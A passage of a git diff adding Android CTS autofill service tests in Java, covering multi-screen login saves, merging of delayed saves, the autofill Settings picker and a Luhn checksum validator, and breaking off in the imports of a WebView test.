+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+    }
+
+    @Test
+    public void testDelayedActivityIsMerged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger autofill on 1st activity, usingFLAG_DELAY_SAVE
+        final PreSimpleSaveActivity activity1 = startPreSimpleSaveActivity();
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_PRE_INPUT)
+                .build());
+
+        activity1.syncRunOnUiThread(() -> activity1.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Fill field but don't finish session yet
+        activity1.syncRunOnUiThread(() -> {
+            activity1.mPreInput.setText("PRE");
+        });
+
+        // Trigger autofill on 2nd activity
+        final SimpleSaveActivity activity2 = startSimpleSaveActivity();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT)
+                .build());
+        activity2.syncRunOnUiThread(() -> activity2.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setText("ID");
+            activity2.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Make sure both requests are available
+        assertThat(saveRequest.contexts).hasSize(2);
+
+        // Assert 1st request
+        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(structure1).isNotNull();
+        assertTextAndValue(findNodeByResourceId(structure1, ID_PRE_INPUT), "PRE");
+        assertThat(findNodeByResourceId(structure1, ID_INPUT)).isNull();
+        final ComponentName component1 = structure1.getActivityComponent();
+        assertThat(component1).isEqualTo(activity1.getComponentName());
+
+        // Assert 2nd request
+        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(structure2).isNotNull();
+        assertThat(findNodeByResourceId(structure2, ID_PRE_INPUT)).isNull();
+        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "ID");
+        final ComponentName component2 = structure2.getActivityComponent();
+        assertThat(component2).isEqualTo(activity2.getComponentName());
+        activity2.syncRunOnUiThread(() -> {
+            activity2.mInput.setFocusable(false);
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java
new file mode 100644
index 0000000..325e22d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/MultiScreenLoginTest.java
@@ -0,0 +1,429 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.PasswordOnlyActivity;
+import android.autofillservice.cts.activities.UsernameOnlyActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.regex.Pattern;
+
+/**
+ * Test case for the senario where a login screen is split in multiple activities.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class MultiScreenLoginTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<UsernameOnlyActivity> {
+
+    private static final String TAG = "MultiScreenLoginTest";
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private UsernameOnlyActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<UsernameOnlyActivity> getActivityRule() {
+        return new AutofillActivityTestRule<UsernameOnlyActivity>(UsernameOnlyActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Tests the "traditional" scenario where the service must save each field (username and
+     * password) separately.
+     */
+    @Test
+    public void testSaveEachFieldSeparately() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME);
+
+        // ..and assert results
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_USERNAME), "dude");
+        assertThat(saveRequest1.data.getString("first")).isEqualTo("one");
+        assertThat(saveRequest1.data.getString("last")).isEqualTo("one");
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity activity2 = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        final Bundle clientState2 = new Bundle();
+        clientState2.putString("second", "two");
+        clientState2.putString("last", "two");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+                .setExtras(clientState2)
+                .build());
+
+        // Trigger autofill
+        activity2.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        activity2.setPassword("sweet");
+        activity2.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest2.data.getString("first")).isNull();
+        assertThat(saveRequest2.data.getString("second")).isEqualTo("two");
+        assertThat(saveRequest2.data.getString("last")).isEqualTo("two");
+        assertTextAndValue(findNodeByResourceId(saveRequest2.structure, ID_PASSWORD), "sweet");
+    }
+
+    /**
+     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
+     * with the service setting the client state just in the first request (so its passed to both
+     * the second fill request and the save request.
+     */
+    @Test
+    public void testSaveBothFieldsAtOnceNoClientStateOnSecondRequest() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_PASSWORD)
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+        // Client state should come from 1st request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        // Client state should come from 1st request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
+    }
+
+    /**
+     * Tests the new scenario introudced on Q where the service can set a multi-screen session,
+     * with the service setting the client state just on both requests (so the 1st client state is
+     * passed to the 2nd request, and the 2nd client state is passed to the save request).
+     */
+    @Test
+    public void testSaveBothFieldsAtOnceWithClientStateOnBothRequests() throws Exception {
+        // Set service
+        enableService();
+
+        // First handle username...
+
+        // Set expectations.
+        final Bundle clientState1 = new Bundle();
+        clientState1.putString("first", "one");
+        clientState1.putString("last", "one");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setExtras(clientState1)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Set expectations.
+        final Bundle clientState2 = new Bundle();
+        clientState2.putString("second", "two");
+        clientState2.putString("last", "two");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        ID_PASSWORD)
+                .setExtras(clientState2)
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+        // Client state on 2nd request should come from previous (1st) request
+        assertThat(fillRequest2.data.getString("first")).isEqualTo("one");
+        assertThat(fillRequest2.data.getString("second")).isNull();
+        assertThat(fillRequest2.data.getString("last")).isEqualTo("one");
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
+
+        // ..and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        // Client state on save request should come from last (2nd) request
+        assertThat(saveRequest.data.getString("first")).isNull();
+        assertThat(saveRequest.data.getString("second")).isEqualTo("two");
+        assertThat(saveRequest.data.getString("last")).isEqualTo("two");
+
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(previousStructure, ID_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByResourceId(currentStructure, ID_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(passwordActivity.getComponentName());
+    }
+
+    @Test
+    public void testSaveBothFieldsCustomDescription_differentIds() throws Exception {
+        saveBothFieldsCustomDescription(false);
+    }
+
+    @Test
+    public void testSaveBothFieldsCustomDescription_sameIds() throws Exception {
+        saveBothFieldsCustomDescription(true);
+    }
+
+    private void saveBothFieldsCustomDescription(boolean sameAutofillId) throws Exception {
+        // Set service
+        enableService();
+
+        // Set ids
+        final AutofillId appUsernameId = mActivity.getUsernameAutofillId();
+        final AutofillId appPasswordId = sameAutofillId ? appUsernameId
+                : mActivity.getAutofillManager().getNextAutofillId();
+        mActivity.setPasswordAutofillId(appPasswordId);
+        Log.d(TAG, "App: usernameId=" + appUsernameId + ", passwordId=" + appPasswordId);
+
+        // First handle username...
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .build());
+
+        // Trigger autofill
+        mActivity.focusOnUsername();
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        final ComponentName component1 = fillRequest1.structure.getActivityComponent();
+        assertThat(component1).isEqualTo(mActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger what would be save...
+        mActivity.setUsername("dude");
+        mActivity.next();
+        mUiBot.assertSaveNotShowing();
+
+        // ...now rinse and repeat for password
+
+        // Get the activity
+        final PasswordOnlyActivity passwordActivity = AutofillTestWatcher
+                .getActivity(PasswordOnlyActivity.class);
+
+        // Must get AutofillIds from FillRequest, as they contain the proper session ids
+        final AutofillId svcUsernameId = findAutofillIdByResourceId(fillRequest1.contexts.get(0),
+                ID_USERNAME);
+        Log.d(TAG, "Service: usernameId=" + svcUsernameId);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setVisitor((contexts, builder) -> {
+                    final AutofillId svcPasswordId =
+                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
+                    Log.d(TAG, "Service: passwordId=" + svcPasswordId);
+                    final CharSequenceTransformation usernameTrans =
+                            new CharSequenceTransformation.Builder(svcUsernameId, MATCH_ALL, "$1")
+                            .build();
+                    final CharSequenceTransformation passwordTrans =
+                            new CharSequenceTransformation.Builder(svcPasswordId, MATCH_ALL, "$1")
+                            .build();
+                    builder.setSaveInfo(new SaveInfo.Builder(
+                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                            new AutofillId[] {svcPasswordId})
+                            .setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                                    .addChild(R.id.username, usernameTrans)
+                                    .addChild(R.id.password, passwordTrans)
+                                    .build())
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill
+        passwordActivity.focusOnPassword();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+
+        final ComponentName component2 = fillRequest2.structure.getActivityComponent();
+        assertThat(component2).isEqualTo(passwordActivity.getComponentName());
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save...
+        passwordActivity.setPassword("sweet");
+        passwordActivity.login();
+
+        // ...and assert UI
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
+    }
+
+    // TODO(b/113281366): add test cases for more scenarios such as:
+    // - make sure that activity not marked with keepAlive is not sent in the 2nd request
+    // - somehow verify that the first activity's session is gone
+    // - WebView
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java
new file mode 100644
index 0000000..73cbd450
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/SettingsIntentTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.autofillservice.cts.activities.TrampolineForResultActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.BadAutofillService;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode;
+import android.autofillservice.cts.testcore.NoOpAutofillService;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.support.test.uiautomator.UiObject2;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.After;
+import org.junit.Test;
+
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public class SettingsIntentTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<TrampolineForResultActivity> {
+
+    private static final int MY_REQUEST_CODE = 42;
+
+
+    protected TrampolineForResultActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<TrampolineForResultActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TrampolineForResultActivity>(
+                TrampolineForResultActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @After
+    public void killSettings() {
+        // Make sure there's no Settings activity left, as it could fail future tests.
+        if (FeatureUtil.isAutomotive()) {
+            runShellCommand("am force-stop com.android.car.settings");
+        } else {
+            runShellCommand("am force-stop com.android.settings");
+        }
+    }
+
+    @Test
+    public void testMultipleServicesShown() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
+        mUiBot.assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        mUiBot.assertShownByText(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.scrollToTextObject(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertShownByText(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        mUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    @Test
+    public void testWarningShown_userRejectsByTappingBack() throws Exception {
+        disableService();
+
+        // Launches Settings.
+        mActivity.startForResult(newSettingsIntent(), MY_REQUEST_CODE);
+
+        // Asserts services are shown.
+        final UiObject2 object = mUiBot
+                .assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        object.click();
+
+        // TODO(b/79615759): should assert that "autofill_confirmation_message" is shown, but that
+        // string belongs to Settings - we need to move it to frameworks/base first (and/or use
+        // a resource id, also on framework).
+        // So, for now, just asserts the service name is showing again (in the popup), and the other
+        // services are not showing (because the popup hides then).
+
+        final UiObject2 msgObj = mUiBot.assertShownById("android:id/message");
+        final String msg = msgObj.getText();
+        assertWithMessage("Wrong warning message").that(msg)
+                .contains(InstrumentedAutoFillService.sServiceLabel);
+
+        // NOTE: assertion below is fine because it looks for the full text, not a substring
+        mUiBot.assertNotShowingForSure(InstrumentedAutoFillService.sServiceLabel);
+        mUiBot.assertNotShowingForSure(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.assertNotShowingForSure(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        mUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    // TODO(b/79615759): add testWarningShown_userRejectsByTappingCancel() and
+    // testWarningShown_userAccepts() - these tests would require adding the strings and resource
+    // ids to frameworks/base
+
+    private Intent newSettingsIntent() {
+        return new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .setData(Uri.parse("package:" + Helper.MY_PACKAGE));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java
new file mode 100644
index 0000000..c17819a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class ValidatorTest extends AbstractLoginActivityTestCase {
+
+    @Test
+    public void testShowUiWhenValidatorPass() throws Exception {
+        integrationTest(true);
+    }
+
+    @Test
+    public void testDontShowUiWhenValidatorFails() throws Exception {
+        integrationTest(false);
+    }
+
+    private void integrationTest(boolean willSaveBeShown) throws Exception {
+        enableService();
+
+        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+
+        // Set response
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+                    final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+                    // Validation check to make sure the validator is properly configured
+                    assertValidator(validator, usernameId, username, willSaveBeShown);
+                    builder.setValidator(validator);
+                })
+                .build());
+
+        // Trigger auto-fill
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText("pass"));
+        mActivity.tapLogin();
+
+        if (willSaveBeShown) {
+            mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+            sReplier.getNextSaveRequest();
+        } else {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+    }
+
+    private void assertValidator(InternalValidator validator, AutofillId id, String text,
+            boolean valid) {
+        final ValueFinder valueFinder = mock(ValueFinder.class);
+        doReturn(text).when(valueFinder).findByAutofillId(id);
+        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java
new file mode 100644
index 0000000..94a88c4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.AbstractWebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.AbstractWebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByHtmlName;
+import static android.autofillservice.cts.testcore.Helper.getAutofillId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewMultiScreenLoginActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
